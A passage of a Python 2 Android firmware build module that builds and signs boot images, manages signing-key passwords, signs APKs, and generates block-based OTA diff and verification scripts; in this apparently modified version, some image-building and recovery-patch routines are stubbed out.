os.path.join(sourcedir, "cmdline") if os.access(fn, os.F_OK): cmd.append("--cmdline") cmd.append(open(fn).read().rstrip("\n")) fn = os.path.join(sourcedir, "base") if os.access(fn, os.F_OK): cmd.append("--base") cmd.append(open(fn).read().rstrip("\n")) fn = os.path.join(sourcedir, "pagesize") if os.access(fn, os.F_OK): cmd.append("--pagesize") cmd.append(open(fn).read().rstrip("\n")) args = info_dict.get("mkbootimg_args", None) if args and args.strip(): cmd.extend(shlex.split(args)) args = info_dict.get("mkbootimg_version_args", None) if args and args.strip(): cmd.extend(shlex.split(args)) if has_ramdisk: cmd.extend(["--ramdisk", ramdisk_img.name]) img_unsigned = None if info_dict.get("vboot", None): img_unsigned = tempfile.NamedTemporaryFile() cmd.extend(["--output", img_unsigned.name]) else: cmd.extend(["--output", img.name]) p = Run(cmd, stdout=subprocess.PIPE) p.communicate() assert p.returncode == 0, "mkbootimg of %s image failed" % ( os.path.basename(sourcedir),) if (info_dict.get("boot_signer", None) == "true" and info_dict.get("verity_key", None)): # Hard-code the path as "/boot" for two-step special recovery image (which # will be loaded into /boot during the two-step OTA). if two_step_image: path = "/boot" else: path = "/" + os.path.basename(sourcedir).lower() cmd = [OPTIONS.boot_signer_path] cmd.extend(OPTIONS.boot_signer_args) cmd.extend([path, img.name, info_dict["verity_key"] + ".pk8", info_dict["verity_key"] + ".x509.pem", img.name]) p = Run(cmd, stdout=subprocess.PIPE) p.communicate() assert p.returncode == 0, "boot_signer of %s image failed" % path # Sign the image if vboot is non-empty. elif info_dict.get("vboot", None): path = "/" + os.path.basename(sourcedir).lower() img_keyblock = tempfile.NamedTemporaryFile() cmd = [info_dict["vboot_signer_cmd"], info_dict["futility"], img_unsigned.name, info_dict["vboot_key"] + ".vbpubk", info_dict["vboot_key"] + ".vbprivk", info_dict["vboot_subkey"] + ".vbprivk", img_keyblock.name, img.name] p = Run(cmd, stdout=subprocess.PIPE) p.communicate() assert p.returncode == 0, "vboot_signer of %s image failed" % path # Clean up the temp files. img_unsigned.close() img_keyblock.close() img.seek(os.SEEK_SET, 0) data = img.read() if has_ramdisk: ramdisk_img.close() img.close() return data def GetBootableImage(name, prebuilt_name, unpack_dir, tree_subdir, info_dict=None, two_step_image=False): """Return a File object with the desired bootable image. Look for it in 'unpack_dir'/BOOTABLE_IMAGES under the name 'prebuilt_name', otherwise look for it under 'unpack_dir'/IMAGES, otherwise construct it from the source files in 'unpack_dir'/'tree_subdir'.""" prebuilt_path = os.path.join(unpack_dir, "BOOTABLE_IMAGES", prebuilt_name) if os.path.exists(prebuilt_path): print "using prebuilt %s from BOOTABLE_IMAGES..." % (prebuilt_name,) return File.FromLocalFile(name, prebuilt_path) prebuilt_path = os.path.join(unpack_dir, "IMAGES", prebuilt_name) if os.path.exists(prebuilt_path): print "using prebuilt %s from IMAGES..." % (prebuilt_name,) return File.FromLocalFile(name, prebuilt_path) print "building image from target_files %s..." % (tree_subdir,) if info_dict is None: info_dict = OPTIONS.info_dict # With system_root_image == "true", we don't pack ramdisk into the boot image. # Unless "recovery_as_boot" is specified, in which case we carry the ramdisk # for recovery. has_ramdisk = (info_dict.get("system_root_image") != "true" or prebuilt_name != "boot.img" or info_dict.get("recovery_as_boot") == "true") #fs_config = "META/" + tree_subdir.lower() + "_filesystem_config.txt" #data = BuildBootableImage(os.path.join(unpack_dir, tree_subdir), # os.path.join(unpack_dir, fs_config), # info_dict) #if data: # return File(name, data) return None def UnzipTemp(filename, pattern=None): """Unzip the given archive into a temporary directory and return the name. If filename is of the form "foo.zip+bar.zip", unzip foo.zip into a temp dir, then unzip bar.zip into that_dir/BOOTABLE_IMAGES. Returns (tempdir, zipobj) where zipobj is a zipfile.ZipFile (of the main file), open for reading. """ tmp = tempfile.mkdtemp(prefix="targetfiles-") OPTIONS.tempfiles.append(tmp) def unzip_to_dir(filename, dirname): cmd = ["unzip", "-o", "-q", filename, "-d", dirname] if pattern is not None: cmd.append(pattern) p = Run(cmd, stdout=subprocess.PIPE) p.communicate() if p.returncode != 0: raise ExternalError("failed to unzip input target-files \"%s\"" % (filename,)) m = re.match(r"^(.*[.]zip)\+(.*[.]zip)$", filename, re.IGNORECASE) if m: unzip_to_dir(m.group(1), tmp) unzip_to_dir(m.group(2), os.path.join(tmp, "BOOTABLE_IMAGES")) filename = m.group(1) else: unzip_to_dir(filename, tmp) return tmp, zipfile.ZipFile(filename, "r") def GetKeyPasswords(keylist): """Given a list of keys, prompt the user to enter passwords for those which require them. Return a {key: password} dict. password will be None if the key has no password.""" no_passwords = [] need_passwords = [] key_passwords = {} devnull = open("/dev/null", "w+b") for k in sorted(keylist): # We don't need a password for things that aren't really keys. if k in SPECIAL_CERT_STRINGS: no_passwords.append(k) continue p = Run(["openssl", "pkcs8", "-in", k+OPTIONS.private_key_suffix, "-inform", "DER", "-nocrypt"], stdin=devnull.fileno(), stdout=devnull.fileno(), stderr=subprocess.STDOUT) p.communicate() if p.returncode == 0: # Definitely an unencrypted key. no_passwords.append(k) else: p = Run(["openssl", "pkcs8", "-in", k+OPTIONS.private_key_suffix, "-inform", "DER", "-passin", "pass:"], stdin=devnull.fileno(), stdout=devnull.fileno(), stderr=subprocess.PIPE) _, stderr = p.communicate() if p.returncode == 0: # Encrypted key with empty string as password. key_passwords[k] = '' elif stderr.startswith('Error decrypting key'): # Definitely encrypted key. # It would have said "Error reading key" if it didn't parse correctly. need_passwords.append(k) else: # Potentially, a type of key that openssl doesn't understand. # We'll let the routines in signapk.jar handle it. no_passwords.append(k) devnull.close() key_passwords.update(PasswordManager().GetPasswords(need_passwords)) key_passwords.update(dict.fromkeys(no_passwords, None)) return key_passwords def GetMinSdkVersion(apk_name): """Get the minSdkVersion delared in the APK. This can be both a decimal number (API Level) or a codename. """ p = Run(["aapt", "dump", "badging", apk_name], stdout=subprocess.PIPE) output, err = p.communicate() if err: raise ExternalError("Failed to obtain minSdkVersion: aapt return code %s" % (p.returncode,)) for line in output.split("\n"): # Looking for lines such as sdkVersion:'23' or sdkVersion:'M' m = re.match(r'sdkVersion:\'([^\']*)\'', line) if m: return m.group(1) raise ExternalError("No minSdkVersion returned by aapt") def GetMinSdkVersionInt(apk_name, codename_to_api_level_map): """Get the minSdkVersion declared in the APK as a number (API Level). If minSdkVersion is set to a codename, it is translated to a number using the provided map. """ version = GetMinSdkVersion(apk_name) try: return int(version) except ValueError: # Not a decimal number. Codename? if version in codename_to_api_level_map: return codename_to_api_level_map[version] else: raise ExternalError("Unknown minSdkVersion: '%s'. Known codenames: %s" % (version, codename_to_api_level_map)) def SignFile(input_name, output_name, key, password, min_api_level=None, codename_to_api_level_map=dict(), whole_file=False): """Sign the input_name zip/jar/apk, producing output_name. Use the given key and password (the latter may be None if the key does not have a password. If whole_file is true, use the "-w" option to SignApk to embed a signature that covers the whole file in the archive comment of the zip file. min_api_level is the API Level (int) of the oldest platform this file may end up on. If not specified for an APK, the API Level is obtained by interpreting the minSdkVersion attribute of the APK's AndroidManifest.xml. codename_to_api_level_map is needed to translate the codename which may be encountered as the APK's minSdkVersion. """ java_library_path = os.path.join( OPTIONS.search_path, OPTIONS.signapk_shared_library_path) cmd = ([OPTIONS.java_path] + OPTIONS.java_args + ["-Djava.library.path=" + java_library_path, "-jar", os.path.join(OPTIONS.search_path, OPTIONS.signapk_path)] + OPTIONS.extra_signapk_args) if whole_file: cmd.append("-w") min_sdk_version = min_api_level if min_sdk_version is None: if not whole_file: min_sdk_version = GetMinSdkVersionInt( input_name, codename_to_api_level_map) if min_sdk_version is not None: cmd.extend(["--min-sdk-version", str(min_sdk_version)]) cmd.extend([key + OPTIONS.public_key_suffix, key + OPTIONS.private_key_suffix, input_name, output_name]) p = Run(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE) if password is not None: password += "\n" p.communicate(password) if p.returncode != 0: raise ExternalError("signapk.jar failed: return code %s" % (p.returncode,)) def CheckSize(data, target, info_dict): """Check the data string passed against the max size limit, if any, for the given target. Raise exception if the data is too big. Print a warning if the data is nearing the maximum size.""" if target.endswith(".img"): target = target[:-4] mount_point = "/" + target fs_type = None limit = None if info_dict["fstab"]: if mount_point == "/userdata": mount_point = "/data" p = info_dict["fstab"][mount_point] fs_type = p.fs_type device = p.device if "/" in device: device = device[device.rfind("/")+1:] limit = info_dict.get(device + "_size", None) if not fs_type or not limit: return if fs_type == "yaffs2": # image size should be increased by 1/64th to account for the # spare area (64 bytes per 2k page) limit = limit / 2048 * (2048+64) size = len(data) pct = float(size) * 100.0 / limit msg = "%s size (%d) is %.2f%% of limit (%d)" % (target, size, pct, limit) if pct >= 99.0: raise ExternalError(msg) elif pct >= 95.0: print print " WARNING: ", msg print elif OPTIONS.verbose: print " ", msg def ReadApkCerts(tf_zip): """Given a target_files ZipFile, parse the META/apkcerts.txt file and return a {package: cert} dict.""" certmap = {} for line in tf_zip.read("META/apkcerts.txt").split("\n"): line = line.strip() if not line: continue m = re.match(r'^name="(.*)"\s+certificate="(.*)"\s+' r'private_key="(.*)"$', line) if m: name, cert, privkey = m.groups() public_key_suffix_len = len(OPTIONS.public_key_suffix) private_key_suffix_len = len(OPTIONS.private_key_suffix) if cert in SPECIAL_CERT_STRINGS and not privkey: certmap[name] = cert elif (cert.endswith(OPTIONS.public_key_suffix) and privkey.endswith(OPTIONS.private_key_suffix) and cert[:-public_key_suffix_len] == privkey[:-private_key_suffix_len]): certmap[name] = cert[:-public_key_suffix_len] else: raise ValueError("failed to parse line from apkcerts.txt:\n" + line) return certmap COMMON_DOCSTRING = """ -p (--path) <dir> Prepend <dir>/bin to the list of places to search for binaries run by this script, and expect to find jars in <dir>/framework. -s (--device_specific) <file> Path to the python module containing device-specific releasetools code. -x (--extra) <key=value> Add a key/value pair to the 'extras' dict, which device-specific extension code may look at. -v (--verbose) Show command lines being executed. -h (--help) Display this usage message and exit. """ def Usage(docstring): print docstring.rstrip("\n") print COMMON_DOCSTRING def ParseOptions(argv, docstring, extra_opts="", extra_long_opts=(), extra_option_handler=None): """Parse the options in argv and return any arguments that aren't flags. docstring is the calling module's docstring, to be displayed for errors and -h. extra_opts and extra_long_opts are for flags defined by the caller, which are processed by passing them to extra_option_handler.""" try: opts, args = getopt.getopt( argv, "hvp:s:x:" + extra_opts, ["help", "verbose", "path=", "signapk_path=", "signapk_shared_library_path=", "extra_signapk_args=", "java_path=", "java_args=", "public_key_suffix=", "private_key_suffix=", "boot_signer_path=", "boot_signer_args=", "verity_signer_path=", "verity_signer_args=", "device_specific=", "extra="] + list(extra_long_opts)) except getopt.GetoptError as err: Usage(docstring) print "**", str(err), "**" sys.exit(2) for o, a in opts: if o in ("-h", "--help"): Usage(docstring) sys.exit() elif o in ("-v", "--verbose"): OPTIONS.verbose = True elif o in ("-p", "--path"): OPTIONS.search_path = a elif o in ("--signapk_path",): OPTIONS.signapk_path = a elif o in ("--signapk_shared_library_path",): OPTIONS.signapk_shared_library_path = a elif o in ("--extra_signapk_args",): OPTIONS.extra_signapk_args = shlex.split(a) elif o in ("--java_path",): OPTIONS.java_path = a elif o in ("--java_args",): OPTIONS.java_args = shlex.split(a) elif o in ("--public_key_suffix",): OPTIONS.public_key_suffix = a elif o in ("--private_key_suffix",): OPTIONS.private_key_suffix = a elif o in ("--boot_signer_path",): OPTIONS.boot_signer_path = a elif o in ("--boot_signer_args",): OPTIONS.boot_signer_args = shlex.split(a) elif o in ("--verity_signer_path",): OPTIONS.verity_signer_path = a elif o in ("--verity_signer_args",): OPTIONS.verity_signer_args = shlex.split(a) elif o in ("-s", "--device_specific"): OPTIONS.device_specific = a elif o in ("-x", "--extra"): key, value = a.split("=", 1) OPTIONS.extras[key] = value else: if extra_option_handler is None or not extra_option_handler(o, a): assert False, "unknown option \"%s\"" % (o,) if OPTIONS.search_path: os.environ["PATH"] = (os.path.join(OPTIONS.search_path, "bin") + os.pathsep + os.environ["PATH"]) return args def MakeTempFile(prefix=None, suffix=None): """Make a temp file and add it to the list of things to be deleted when Cleanup() is called. Return the filename.""" fd, fn = tempfile.mkstemp(prefix=prefix, suffix=suffix) os.close(fd) OPTIONS.tempfiles.append(fn) return fn def Cleanup(): for i in OPTIONS.tempfiles: if os.path.isdir(i): shutil.rmtree(i) else: os.remove(i) class PasswordManager(object): def __init__(self): self.editor = os.getenv("EDITOR", None) self.pwfile = os.getenv("ANDROID_PW_FILE", None) def GetPasswords(self, items): """Get passwords corresponding to each string in 'items', returning a dict. (The dict may have keys in addition to the values in 'items'.) Uses the passwords in $ANDROID_PW_FILE if available, letting the user edit that file to add more needed passwords. If no editor is available, or $ANDROID_PW_FILE isn't define, prompts the user interactively in the ordinary way. """ current = self.ReadFile() first = True while True: missing = [] for i in items: if i not in current or not current[i]: missing.append(i) # Are all the passwords already in the file? if not missing: return current for i in missing: current[i] = "" if not first: print "key file %s still missing some passwords." % (self.pwfile,) answer = raw_input("try to edit again? [y]> ").strip() if answer and answer[0] not in 'yY': raise RuntimeError("key passwords unavailable") first = False current = self.UpdateAndReadFile(current) def PromptResult(self, current): # pylint: disable=no-self-use """Prompt the user to enter a value (password) for each key in 'current' whose value is fales. Returns a new dict with all the values. """ result = {} for k, v in sorted(current.iteritems()): if v: result[k] = v else: while True: result[k] = getpass.getpass( "Enter password for %s key> " % k).strip() if result[k]: break return result def UpdateAndReadFile(self, current): if not self.editor or not self.pwfile: return self.PromptResult(current) f = open(self.pwfile, "w") os.chmod(self.pwfile, 0o600) f.write("# Enter key passwords between the [[[ ]]] brackets.\n") f.write("# (Additional spaces are harmless.)\n\n") first_line = None sorted_list = sorted([(not v, k, v) for (k, v) in current.iteritems()]) for i, (_, k, v) in enumerate(sorted_list): f.write("[[[ %s ]]] %s\n" % (v, k)) if not v and first_line is None: # position cursor on first line with no password. first_line = i + 4 f.close() p = Run([self.editor, "+%d" % (first_line,), self.pwfile]) _, _ = p.communicate() return self.ReadFile() def ReadFile(self): result = {} if self.pwfile is None: return result try: f = open(self.pwfile, "r") for line in f: line = line.strip() if not line or line[0] == '#': continue m = re.match(r"^\[\[\[\s*(.*?)\s*\]\]\]\s*(\S+)$", line) if not m: print "failed to parse password file: ", line else: result[m.group(2)] = m.group(1) f.close() except IOError as e: if e.errno != errno.ENOENT: print "error reading password file: ", str(e) return result def ZipWrite(zip_file, filename, arcname=None, perms=0o644, compress_type=None): import datetime # http://b/18015246 # Python 2.7's zipfile implementation wrongly thinks that zip64 is required # for files larger than 2GiB. We can work around this by adjusting their # limit. Note that `zipfile.writestr()` will not work for strings larger than # 2GiB. The Python interpreter sometimes rejects strings that large (though # it isn't clear to me exactly what circumstances cause this). # `zipfile.write()` must be used directly to work around this. # # This mess can be avoided if we port to python3. saved_zip64_limit = zipfile.ZIP64_LIMIT zipfile.ZIP64_LIMIT = (1 << 32) - 1 if compress_type is None: compress_type = zip_file.compression if arcname is None: arcname = filename saved_stat = os.stat(filename) try: # `zipfile.write()` doesn't allow us to pass ZipInfo, so just modify the # file to be zipped and reset it when we're done. os.chmod(filename, perms) # Use a fixed timestamp so the output is repeatable. epoch = datetime.datetime.fromtimestamp(0) timestamp = (datetime.datetime(2009, 1, 1) - epoch).total_seconds() os.utime(filename, (timestamp, timestamp)) zip_file.write(filename, arcname=arcname, compress_type=compress_type) finally: os.chmod(filename, saved_stat.st_mode) os.utime(filename, (saved_stat.st_atime, saved_stat.st_mtime)) zipfile.ZIP64_LIMIT = saved_zip64_limit def ZipWriteStr(zip_file, zinfo_or_arcname, data, perms=None, compress_type=None): """Wrap zipfile.writestr() function to work around the zip64 limit. Even with the ZIP64_LIMIT workaround, it won't allow writing a string longer than 2GiB. It gives 'OverflowError: size does not fit in an int' when calling crc32(bytes). But it still works fine to write a shorter string into a large zip file. We should use ZipWrite() whenever possible, and only use ZipWriteStr() when we know the string won't be too long. """ saved_zip64_limit = zipfile.ZIP64_LIMIT zipfile.ZIP64_LIMIT = (1 << 32) - 1 if not isinstance(zinfo_or_arcname, zipfile.ZipInfo): zinfo = zipfile.ZipInfo(filename=zinfo_or_arcname) zinfo.compress_type = zip_file.compression if perms is None: perms = 0o100644 else: zinfo = zinfo_or_arcname # If compress_type is given, it overrides the value in zinfo. if compress_type is not None: zinfo.compress_type = compress_type # If perms is given, it has a priority. if perms is not None: # If perms doesn't set the file type, mark it as a regular file. if perms & 0o770000 == 0: perms |= 0o100000 zinfo.external_attr = perms << 16 # Use a fixed timestamp so the output is repeatable. zinfo.date_time = (2009, 1, 1, 0, 0, 0) zip_file.writestr(zinfo, data) zipfile.ZIP64_LIMIT = saved_zip64_limit def ZipClose(zip_file): # http://b/18015246 # zipfile also refers to ZIP64_LIMIT during close() when it writes out the # central directory. saved_zip64_limit = zipfile.ZIP64_LIMIT zipfile.ZIP64_LIMIT = (1 << 32) - 1 zip_file.close() zipfile.ZIP64_LIMIT = saved_zip64_limit class DeviceSpecificParams(object): module = None def __init__(self, **kwargs): """Keyword arguments to the constructor become attributes of this object, which is passed to all functions in the device-specific module.""" for k, v in kwargs.iteritems(): setattr(self, k, v) self.extras = OPTIONS.extras if self.module is None: path = OPTIONS.device_specific if not path: return try: if os.path.isdir(path): info = imp.find_module("releasetools", [path]) else: d, f = os.path.split(path) b, x = os.path.splitext(f) if x == ".py": f = b info = imp.find_module(f, [d]) print "loaded device-specific extensions from", path self.module = imp.load_module("device_specific", *info) except ImportError: print "unable to load device-specific module; assuming none" def _DoCall(self, function_name, *args, **kwargs): """Call the named function in the device-specific module, passing the given args and kwargs. The first argument to the call will be the DeviceSpecific object itself. If there is no module, or the module does not define the function, return the value of the 'default' kwarg (which itself defaults to None).""" if self.module is None or not hasattr(self.module, function_name): return kwargs.get("default", None) return getattr(self.module, function_name)(*((self,) + args), **kwargs) def FullOTA_Assertions(self): """Called after emitting the block of assertions at the top of a full OTA package. Implementations can add whatever additional assertions they like.""" return self._DoCall("FullOTA_Assertions") def FullOTA_InstallBegin(self): """Called at the start of full OTA installation.""" return self._DoCall("FullOTA_InstallBegin") def FullOTA_InstallEnd(self): """Called at the end of full OTA installation; typically this is used to install the image for the device's baseband processor.""" return self._DoCall("FullOTA_InstallEnd") def IncrementalOTA_Assertions(self): """Called after emitting the block of assertions at the top of an incremental OTA package. Implementations can add whatever additional assertions they like.""" return self._DoCall("IncrementalOTA_Assertions") def IncrementalOTA_VerifyBegin(self): """Called at the start of the verification phase of incremental OTA installation; additional checks can be placed here to abort the script before any changes are made.""" return self._DoCall("IncrementalOTA_VerifyBegin") def IncrementalOTA_VerifyEnd(self): """Called at the end of the verification phase of incremental OTA installation; additional checks can be placed here to abort the script before any changes are made.""" return self._DoCall("IncrementalOTA_VerifyEnd") def IncrementalOTA_InstallBegin(self): """Called at the start of incremental OTA installation (after verification is complete).""" return self._DoCall("IncrementalOTA_InstallBegin") def IncrementalOTA_InstallEnd(self): """Called at the end of incremental OTA installation; typically this is used to install the image for the device's baseband processor.""" return self._DoCall("IncrementalOTA_InstallEnd") def VerifyOTA_Assertions(self): return self._DoCall("VerifyOTA_Assertions") class File(object): def __init__(self, name, data): self.name = name self.data = data self.size = len(data) self.sha1 = sha1(data).hexdigest() @classmethod def FromLocalFile(cls, name, diskname): f = open(diskname, "rb") data = f.read() f.close() return File(name, data) def WriteToTemp(self): t = tempfile.NamedTemporaryFile() t.write(self.data) t.flush() return t def AddToZip(self, z, compression=None): ZipWriteStr(z, self.name, self.data, compress_type=compression) DIFF_PROGRAM_BY_EXT = { ".gz" : "imgdiff", ".zip" : ["imgdiff", "-z"], ".jar" : ["imgdiff", "-z"], ".apk" : ["imgdiff", "-z"], ".img" : "imgdiff", } class Difference(object): def __init__(self, tf, sf, diff_program=None): self.tf = tf self.sf = sf self.patch = None self.diff_program = diff_program def ComputePatch(self): """Compute the patch (as a string of data) needed to turn sf into tf. Returns the same tuple as GetPatch().""" tf = self.tf sf = self.sf if self.diff_program: diff_program = self.diff_program else: ext = os.path.splitext(tf.name)[1] diff_program = DIFF_PROGRAM_BY_EXT.get(ext, "bsdiff") ttemp = tf.WriteToTemp() stemp = sf.WriteToTemp() ext = os.path.splitext(tf.name)[1] try: ptemp = tempfile.NamedTemporaryFile() if isinstance(diff_program, list): cmd = copy.copy(diff_program) else: cmd = [diff_program] cmd.append(stemp.name) cmd.append(ttemp.name) cmd.append(ptemp.name) p = Run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) err = [] def run(): _, e = p.communicate() if e: err.append(e) th = threading.Thread(target=run) th.start() th.join(timeout=300) # 5 mins if th.is_alive(): print "WARNING: diff command timed out" p.terminate() th.join(5) if th.is_alive(): p.kill() th.join() if err or p.returncode != 0: print "WARNING: failure running %s:\n%s\n" % ( diff_program, "".join(err)) self.patch = None return None, None, None diff = ptemp.read() finally: ptemp.close() stemp.close() ttemp.close() self.patch = diff return self.tf, self.sf, self.patch def GetPatch(self): """Return a tuple (target_file, source_file, patch_data). patch_data may be None if ComputePatch hasn't been called, or if computing the patch failed.""" return self.tf, self.sf, self.patch def ComputeDifferences(diffs): """Call ComputePatch on all the Difference objects in 'diffs'.""" print len(diffs), "diffs to compute" # Do the largest files first, to try and reduce the long-pole effect. by_size = [(i.tf.size, i) for i in diffs] by_size.sort(reverse=True) by_size = [i[1] for i in by_size] lock = threading.Lock() diff_iter = iter(by_size) # accessed under lock def worker(): try: lock.acquire() for d in diff_iter: lock.release() start = time.time() d.ComputePatch() dur = time.time() - start lock.acquire() tf, sf, patch = d.GetPatch() if sf.name == tf.name: name = tf.name else: name = "%s (%s)" % (tf.name, sf.name) if patch is None: print "patching failed! %s" % (name,) else: print "%8.2f sec %8d / %8d bytes (%6.2f%%) %s" % ( dur, len(patch), tf.size, 100.0 * len(patch) / tf.size, name) lock.release() except Exception as e: print e raise # start worker threads; wait for them all to finish. threads = [threading.Thread(target=worker) for i in range(OPTIONS.worker_threads)] for th in threads: th.start() while threads: threads.pop().join() class BlockDifference(object): def __init__(self, partition, tgt, src=None, check_first_block=False, version=None, disable_imgdiff=False): self.tgt = tgt self.src = src self.partition = partition self.check_first_block = check_first_block self.disable_imgdiff = disable_imgdiff if version is None: version = 1 if OPTIONS.info_dict: version = max( int(i) for i in OPTIONS.info_dict.get("blockimgdiff_versions", "1").split(",")) self.version = version b = blockimgdiff.BlockImageDiff(tgt, src, threads=OPTIONS.worker_threads, version=self.version, disable_imgdiff=self.disable_imgdiff) tmpdir = tempfile.mkdtemp() OPTIONS.tempfiles.append(tmpdir) self.path = os.path.join(tmpdir, partition) b.Compute(self.path) self._required_cache = b.max_stashed_size self.touched_src_ranges = b.touched_src_ranges self.touched_src_sha1 = b.touched_src_sha1 if src is None: _, self.device = GetTypeAndDevice("/" + partition, OPTIONS.info_dict) else: _, self.device = GetTypeAndDevice("/" + partition, OPTIONS.source_info_dict) @property def required_cache(self): return self._required_cache def WriteScript(self, script, output_zip, progress=None): if not self.src: # write the output unconditionally script.Print("Patching %s image unconditionally..." % (self.partition,)) else: script.Print("Patching %s image after verification." % (self.partition,)) if progress: script.ShowProgress(progress, 0) self._WriteUpdate(script, output_zip) if OPTIONS.verify: self._WritePostInstallVerifyScript(script) def WriteStrictVerifyScript(self, script): """Verify all the blocks in the care_map, including clobbered blocks. This differs from the WriteVerifyScript() function: a) it prints different error messages; b) it doesn't allow half-way updated images to pass the verification.""" partition = self.partition script.Print("Verifying %s..." % (partition,)) ranges = self.tgt.care_map ranges_str = ranges.to_string_raw() script.AppendExtra('range_sha1("%s", "%s") == "%s" && ' 'ui_print(" Verified.") || ' 'ui_print("\\"%s\\" has unexpected contents.");' % ( self.device, ranges_str, self.tgt.TotalSha1(include_clobbered_blocks=True), self.device)) script.AppendExtra("") def WriteVerifyScript(self, script, touched_blocks_only=False): partition = self.partition # full OTA if not self.src: script.Print("Image %s will be patched unconditionally." % (partition,)) # incremental OTA else: if touched_blocks_only and self.version >= 3: ranges = self.touched_src_ranges expected_sha1 = self.touched_src_sha1 else: ranges = self.src.care_map.subtract(self.src.clobbered_blocks) expected_sha1 = self.src.TotalSha1() # No blocks to be checked, skipping. if not ranges: return ranges_str = ranges.to_string_raw() if self.version >= 4: script.AppendExtra(('if (range_sha1("%s", "%s") == "%s" || ' 'block_image_verify("%s", ' 'package_extract_file("%s.transfer.list"), ' '"%s.new.dat", "%s.patch.dat")) then') % ( self.device, ranges_str, expected_sha1, self.device, partition, partition, partition)) elif self.version == 3: script.AppendExtra(('if (range_sha1("%s", "%s") == "%s" || ' 'block_image_verify("%s", ' 'package_extract_file("%s.transfer.list"), ' '"%s.new.dat", "%s.patch.dat")) then') % ( self.device, ranges_str, expected_sha1, self.device, partition, partition, partition)) else: script.AppendExtra('if range_sha1("%s", "%s") == "%s" then' % ( self.device, ranges_str, self.src.TotalSha1())) script.Print('Verified %s image...' % (partition,)) script.AppendExtra('else') if self.version >= 4: # Bug: 21124327 # When generating incrementals for the system and vendor partitions in # version 4 or newer, explicitly check the first block (which contains # the superblock) of the partition to see if it's what we expect. If # this check fails, give an explicit log message about the partition # having been remounted R/W (the most likely explanation). if self.check_first_block: script.AppendExtra('check_first_block("%s");' % (self.device,)) # If version >= 4, try block recovery before abort update if partition == "system": code = ErrorCode.SYSTEM_RECOVER_FAILURE else: code = ErrorCode.VENDOR_RECOVER_FAILURE script.AppendExtra(( 'ifelse (block_image_recover("{device}", "{ranges}") && ' 'block_image_verify("{device}", ' 'package_extract_file("{partition}.transfer.list"), ' '"{partition}.new.dat", "{partition}.patch.dat"), ' 'ui_print("{partition} recovered successfully."), ' 'abort("E{code}: {partition} partition fails to recover"));\n' 'endif;').format(device=self.device, ranges=ranges_str, partition=partition, code=code)) # Abort the OTA update. Note that the incremental OTA cannot be applied # even if it may match the checksum of the target partition. # a) If version < 3, operations like move and erase will make changes # unconditionally and damage the partition. # b) If version >= 3, it won't even reach here. else: if partition == "system": code = ErrorCode.SYSTEM_VERIFICATION_FAILURE else: code = ErrorCode.VENDOR_VERIFICATION_FAILURE script.AppendExtra(( 'abort("E%d: %s partition has unexpected contents");\n' 'endif;') % (code, partition)) def _WritePostInstallVerifyScript(self, script): partition = self.partition script.Print('Verifying the updated %s image...' % (partition,)) # Unlike pre-install verification, clobbered_blocks should not be ignored. ranges = self.tgt.care_map ranges_str = ranges.to_string_raw() script.AppendExtra('if range_sha1("%s", "%s") == "%s" then' % ( self.device, ranges_str, self.tgt.TotalSha1(include_clobbered_blocks=True))) # Bug: 20881595 # Verify that extended blocks are really zeroed out. if self.tgt.extended: ranges_str = self.tgt.extended.to_string_raw() script.AppendExtra('if range_sha1("%s", "%s") == "%s" then' % ( self.device, ranges_str, self._HashZeroBlocks(self.tgt.extended.size()))) script.Print('Verified the updated %s image.' % (partition,)) if partition == "system": code = ErrorCode.SYSTEM_NONZERO_CONTENTS else: code = ErrorCode.VENDOR_NONZERO_CONTENTS script.AppendExtra( 'else\n' ' abort("E%d: %s partition has unexpected non-zero contents after ' 'OTA update");\n' 'endif;' % (code, partition)) else: script.Print('Verified the updated %s image.' % (partition,)) if partition == "system": code = ErrorCode.SYSTEM_UNEXPECTED_CONTENTS else: code = ErrorCode.VENDOR_UNEXPECTED_CONTENTS script.AppendExtra( 'else\n' ' abort("E%d: %s partition has unexpected contents after OTA ' 'update");\n' 'endif;' % (code, partition)) def _WriteUpdate(self, script, output_zip): ZipWrite(output_zip, '{}.transfer.list'.format(self.path), '{}.transfer.list'.format(self.partition)) ZipWrite(output_zip, '{}.new.dat'.format(self.path), '{}.new.dat'.format(self.partition)) ZipWrite(output_zip, '{}.patch.dat'.format(self.path), '{}.patch.dat'.format(self.partition), compress_type=zipfile.ZIP_STORED) if self.partition == "system": code = ErrorCode.SYSTEM_UPDATE_FAILURE else: code = ErrorCode.VENDOR_UPDATE_FAILURE call = ('block_image_update("{device}", ' 'package_extract_file("{partition}.transfer.list"), ' '"{partition}.new.dat", "{partition}.patch.dat") ||\n' ' abort("E{code}: Failed to update {partition} image.");'.format( device=self.device, partition=self.partition, code=code)) script.AppendExtra(script.WordWrap(call)) def _HashBlocks(self, source, ranges): # pylint: disable=no-self-use data = source.ReadRangeSet(ranges) ctx = sha1() for p in data: ctx.update(p) return ctx.hexdigest() def _HashZeroBlocks(self, num_blocks): # pylint: disable=no-self-use """Return the hash value for all zero blocks.""" zero_block = '\x00' * 4096 ctx = sha1() for _ in range(num_blocks): ctx.update(zero_block) return ctx.hexdigest() DataImage = blockimgdiff.DataImage # map recovery.fstab's fs_types to mount/format "partition types" PARTITION_TYPES = { "yaffs2": "MTD", "mtd": "MTD", "ext4": "EMMC", "emmc": "EMMC", "f2fs": "EMMC", "squashfs": "EMMC" } def GetTypeAndDevice(mount_point, info): fstab = info["fstab"] if fstab: return (PARTITION_TYPES[fstab[mount_point].fs_type], fstab[mount_point].device) else: raise KeyError def ParseCertificate(data): """Parse a PEM-format certificate.""" cert = [] save = False for line in data.split("\n"): if "--END CERTIFICATE--" in line: break if save: cert.append(line) if "--BEGIN CERTIFICATE--" in line: save = True cert = "".join(cert).decode('base64') return cert def MakeRecoveryPatch(input_dir, output_sink, recovery_img, boot_img, info_dict=None): """Generate a binary patch that creates the recovery image starting with the boot image. (Most of the space in these images is just the kernel, which is identical for the two, so the resulting patch should be efficient.) Add it to the output zip, along with a shell script that is run from init.rc on first boot to actually do the patching and install the new recovery image. recovery_img and boot_img should be File objects for the corresponding images. info should be the dictionary returned by common.LoadInfoDict() on the input target_files. """ return if info_dict is None: info_dict = OPTIONS.info_dict full_recovery_image = info_dict.get("full_recovery_image", None) == "true" system_root_image = info_dict.get("system_root_image", None) == "true" if full_recovery_image: output_sink("etc/recovery.img", recovery_img.data) else: diff_program = ["imgdiff"] path = os.path.join(input_dir, "SYSTEM", "etc", "recovery-resource.dat") if os.path.exists(path): diff_program.append("-b") 